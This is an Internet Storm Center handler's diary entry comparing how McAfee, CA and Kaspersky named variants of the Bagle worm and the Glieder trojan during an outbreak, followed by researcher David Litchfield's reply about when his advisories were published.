McAfee seems to refer to this specimen as W32/Bagle.dldr and associates it with the W32/Bagle.bn@MM worm:

McAfee Bagle.dldr: http://vil.nai.com/vil/content/v_129512.htm

McAfee Bagle.bn@MM: http://vil.mcafeesecurity.com/vil/content/v_132120.htm



Computer Associates seem to refer to this specimen as Win32.Glieder.O, though there's a chance they are referring to a different variant of this specimen. According to CA, this trojan "has been spammed out to users by Win32.Bagle.BA":

CA Glieder.O (with screenshots): http://www3.ca.com/securityadvisor/virusinfo/virus.aspx?id=41947
CA Bagle.BA: http://www3.ca.com/securityadvisor/virusinfo/virus.aspx?id=41948



Kaspersky detects today's Beagle/Bagle-related specimens as Email-Worm.win32.Bagle.bb-.bf. Their blog entry for today, titled "Bagle and SpamTool hand in hand" suggests that a recent update to a popular spamming tool was written with today's outbreak in mind. Kaspersky's analysts suspect that the persons behind today's outbreak are "creating new variants every time we release updates to block previous versions."
Kaspersky blog: http://www.viruslist.com/en/weblog



The naming and identification confusion, associated with today's outbreaks, remind mind of the diary I wrote in
. On that day we also had several Beagle/Bagle variants floating around. We really do need a more effective way of referring to such specimens on the day of the outbreak--I am greatly looking forward to the appearance of the CME (Common Malware Enumeration) initiative, which was announced in our Diary on .

An Update Regarding the December 23rd Diary Entry

We received a note from David Litchfield, referring to the Diary we
published on December 23rd, 2004. In the diary, Erik commented upon David's
disclosure of vulnerability details. David's response, published in this
Diary with his permission, is presented below:



"Hi Erik,



Found this today - http://isc.sans.org/diary.php?date=2004-12-23 and would
like to put the record straight. When these advisories were posted I was
away in Australia getting married; someone else posted them and, yes, whilst
the timing was bad, it was thoughtless - and not intended to be rude, mean
or spiteful. As you'll appreciate, being labeled a "grinch" for something
that wasn't really in your control is upsetting. If I had been in the U.K.
and working on the 1st December the advisories would have been posted on
time and not two days before Christmas.



I'd appreciate it if you could either remove the comments or at least update
them.



Cheers,

David"




Lenny Zeltser

ISC Handler of the Day

http://www.zeltser.com